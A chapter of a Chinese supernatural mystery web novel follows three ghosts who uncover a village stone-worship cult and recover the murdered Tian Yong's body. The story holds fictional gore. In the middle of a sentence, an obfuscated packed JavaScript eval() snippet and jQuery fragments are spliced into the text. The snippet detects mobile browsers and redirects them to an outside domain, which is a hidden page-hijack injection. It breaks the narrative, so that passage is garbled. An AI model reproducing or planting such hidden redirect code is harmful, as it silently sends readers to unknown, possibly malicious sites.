一夜无事。
第二天清晨,孟七三人刚从小燕家的院子里出来,就听到村口传来一阵喧闹。几个早起的村民正聚在一起,兴奋地议论着什么。
“你们听说了吗?田永那小子,昨晚不知道发了什么癫!”
“怎么回事?”
“他昨晚后半夜,挨家挨户地敲门,把大伙都喊到他家去,说是要给咱们看神迹!说他被河神托梦,从河里请了个宝贝回来!”
“真的假的?那小子平时闷声不响的,还能有这本事?”
“谁说不是呢!我今早好奇,跟着人去看了,乖乖,你们猜我瞧见什么了?”那村民卖了个关子,压低声音,神秘兮兮地说,“一块比水牛还大的绿翡翠!就摆在他家院子里!那光泽,那水头,啧啧,真是神物啊!”
孟七三人对视一眼,混在人群中,朝着田永家的方向走去。
田永家在村子的最东头,是个破旧的小院。此刻,院子内外已经挤满了前来围观的村民。
三人奋力挤到前面,终于看清了院子里的景象。
只见院子正中央,静静地躺着一块巨大的、通体翠绿的矿石。它表面光滑,在晨光下流淌着一层温润的光泽。
而那个曾经不起眼的田永,此刻正站在巨石旁边,挺着胸膛,满面红光,享受着村民们敬畏和羡慕的目光。
孟七心中一动,她想上前去触摸一下那块巨大的“翡翠”,水鬼和大刀女鬼也跟了上来。
然而,就在孟七的手指即将触碰到那冰冷石面的瞬间——
“嗡——!”
一股无法抗拒的力量瞬间将他们笼罩!眼前的阳光、人群、喧闹的村庄如同被打碎的镜子,轰然解体!
强烈的眩晕感过后,三人发现自己又回到了那个阴冷、死寂的祠堂。头顶上用布条绑着的翡翠碎片冰冷依旧,仿佛刚才的一切都只是南柯一梦。
“我们……回来了?”水鬼晃了晃脑袋,一脸的难以置信。
“看墙上!”
两人立刻回头,只见那面他们之前看过的壁画,发生了惊人的变化。
在原有壁画的前面,多出了一幅新的画面:无数村民正兴奋地从河里捞出大大小小的绿石头。他们将小块的石头塞进自己的耳朵、鼻孔,甚至用布条勒住嘴巴,血从他们的五窍流出,但有几人依旧张开双臂,似是拥抱着什么从天而降的福气。
而在原有壁画的后面,则补上了一幅更恐怖的景象:一个穿着百布衣的祭司,正高高站在祭台上。他的脚下,村民们排着队,互相帮助,用石锥凿开彼此的头骨,将发光的绿翡翠,微笑着塞进脑子里。
“这些,我们都已经知道了。”水鬼蹙眉。
就在这时,祠堂那沉重的木门,“吱呀”一声被缓缓推开。
一股阴风灌入,紧接着,一群皮肤泛着玉石绿光的村民,排着整齐的队列,鱼贯而入。
三人紧贴着石碑躲在后面,噤声。
只听见村民们似乎走了供桌前,纷纷跪在地。
随后,一片寂静中,脚步声从门口缓缓走近,停在了供桌边。
“献信衣——”
紧接着,是窸窸窣窣穿上那件百布衣的声音。
“神恩浩荡,尔等……当永享安宁。”
孟七在听到这个声音的瞬间,握紧了拳。
在剩下的一堆赞颂河神和神石的仪式过后,村民们才如同潮水般退去,祠堂再次恢复死寂。
确定没有人后,孟七才缓缓开口:“刚才的声音,是崔义。”
“我也听出来了。”水鬼蹙眉,“发现石头的是田永,为什么‘河使’却是崔义……我想到了!难道是他抢走了田永的石头,传播邪说,然后把田永割掉舌头扔进了河里!?”
“这就说得通了!”大刀女鬼也道,“所以田永不仅恨那些村民,最恨的其实是崔义。那我们只要把崔义干掉就行了!”说着,她就要提刀往外走去。
孟七拦下她,这时,她的手却突然在石头上摸到了凹陷的触感。
她顺着看去,石碑上此刻出现了几段用利器刻上去的文字:
“妖言惑众!他非神使,乃水鬼也!其言如蜜,其心如毒!村民愚昧,信其鬼话,弃农耕,废人伦,日夜拜石,与禽兽何异?”
“亲邻反目,父母食子!只因我言石乃祸根,便斥我为‘浊人’!小燕……小燕亦不信我……她说我嫉妒,已被污秽蒙心!”
“吾身可灭,吾言不屈!他日若有后来者见此碑文,切记,勿信河中之鬼,勿碰岸边之石!此乃血泪之鉴!”
落款,只有一个字——“永”。
田永!这分明是田永留下的血书!
三人走出祠堂,心中已是翻江倒海。门口,几个村民鬼魂正在游荡。看到他们头上的翡翠碎片,一个村民好奇地问:“你们也信奉河神?”
“当然。”孟七立刻接话,脸上装出无比虔诚的样子,“我等外乡人,听闻神迹,特来朝拜。将神石置于头顶,以示对神明至高无上的敬意。”
这番话似乎取悦了村民,他的态度立刻变得友善起来。
“原来是这样,”村民点头道,“那你们知不知道,前几天,村中出了个口出狂言的叛徒,竟敢污蔑河使大人?”
“略有耳闻。”孟七顺着他的话说下去,眼中露出一丝愤慨,“我们正想去教训教训他!不知道他现在何处?”
“哼,他?”村民脸上露出一丝快意的残忍,“就在昨天,被河使大人亲令,由祭医剪了他的浊根,缝了他的秽口,已经扔进神河里,永世不得超生了!”
三人心中一凛,告别村民后,立刻向河边冲去!
水鬼再次施展能力,强大的水流在河中搅动,很快,一具被捆绑着手脚、嘴巴被黑线缝得严严实实的尸体,被他从河底拖了上来。
正是田永!他的身体冰冷,早已没了气息,几人将他拖到离河边较远的地方。
“舌头!”大刀女鬼立刻上前检查,她用刀尖小心地挑开田永嘴上的黑线,发现里面只有鲜血淋漓的一截,卡在喉口。
“河里也找不到!”水鬼脸色铁青,他在拖出尸体的同时,已经探查了周围的水域。
就在这时,孟七突然想到什么,对大刀女鬼道:“之前的舌头呢?”
大刀女鬼慌忙拿出,递了过去。
孟七从大刀女鬼手中接过那截早已干涸的舌头,颤抖着,将其对准了田永口中那血肉模糊的伤口。
不大不小,不偏不倚。
断舌……完美地对上了!
孟七长舒了一口气,却像是累了一般将舌头扔回到了地面,坐在了地上。
“所以,真相大白了!”水鬼也一屁股坐在了地上,拍了拍手掌,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272640|182384||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
总结道,“田永得到了石头,崔义抢了过来,自封河使,愚弄村民,还把田永割舌缝口,扔进河里。田永冤魂不散,创造了这个世界。”
大刀女鬼也想拍案叫绝,却发现此刻孟七的脸色并不好看。
“……怎么了,小丫头,你觉得不对?”大刀女鬼问。
孟七没有回答,她静静地坐在地面,看着那半截舌头。
不对劲,还是不对劲。
她从头捋了一遍。
如果是崔义抢走了田永的石头,田永死了,村民又是谁杀的?牌位又是谁设立的?崔义的嘴巴又为什么会被缝起来?这些问题都还没有解答。
孟七总觉得,在这些事件中,还有的地方没有被挖掘。比如崔义为什么要抢田永的石头?比如村民为什么会对神石论深信不疑?比如……有没有什么人或事,被他们忽视了?
“那些牌位……”水鬼冷静下来,也想到了这点,“田永也死了,那么谁没死?”
“确实有一个人。”孟七道,“河使崔义,田永死后,就没人有动机和能力杀他。”
“崔义?”水鬼思考了一阵,道,“可是是他一手促成村民变成那样,他还是被村民们捧着的河使……他又为什么要这么做?掩盖罪行?”
孟七摇了摇头,闭上眼,疲惫地捏了捏眉角。
不对,不对,还是不对。
究竟是什么一直隐藏在背后,推动着一切?
大刀女鬼看两人愁眉苦脸的样子,提议道:“要不先回去,顺便看看那个家伙怎么样了,休息一会,再分析分析。”
水鬼和孟七都点了点头,他们将田永的尸体埋在了一片沙土下,舌头也塞回了他的嘴里。
“一切还没有结束。”做完这些,水鬼站在旁边,望向远处又要落下的日头,“这里的一天过得太快了。”
孟七同样心有焦躁,她的直觉告诉她,时间不多了。
然而,当他们回到本身用礁石堆成的藏身处时,却发现原本躺在里面的病弱鬼不见了。
“他……不会消散了吧。”大刀女鬼上前,仔细探查了一遍刚才病弱鬼躺着的地方,却一无所获。
水鬼不甚在意,坐在一边,依旧在想着破解的事。
而这时,孟七却想起什么,问道:“那家伙之前是不是说,他阴气不足,无法再消耗?”
大刀女鬼点点头:“是啊,这家伙一开始看着就不太行了,结果进来又被那河折腾了一遍,就更虚了呗。”
“那条河?”孟七坐在角落,喃喃道,“如果那条河会让他变虚弱……”
“有什么问题吗?”
孟七摇摇头:“我只是在想,我们在不同的阶段看见的那条河,究竟会不会随着时间改变?”
“什么意思?”
“如果我们一开始取出了舌头,后面才遇到田永被割舌投河的事,那么舌头在我们手上的时候,田永究竟有没有第二条舌头?还是说,这根本就是同一个时间线。第一天,田永被割舌,当晚我们遇见了哑巴鬼。第二天,我们捞出田永尸体,舌头就是他的那条。”
“那……那个鬼是什么?”水鬼摸了摸不存在的鸡皮疙瘩,“田永的灵魂?”
大刀女鬼看了他一眼:“他的灵魂是石头做的?你自己就是鬼你怕什么?”
孟七却笑了笑:“我倒觉得,是第三个人。”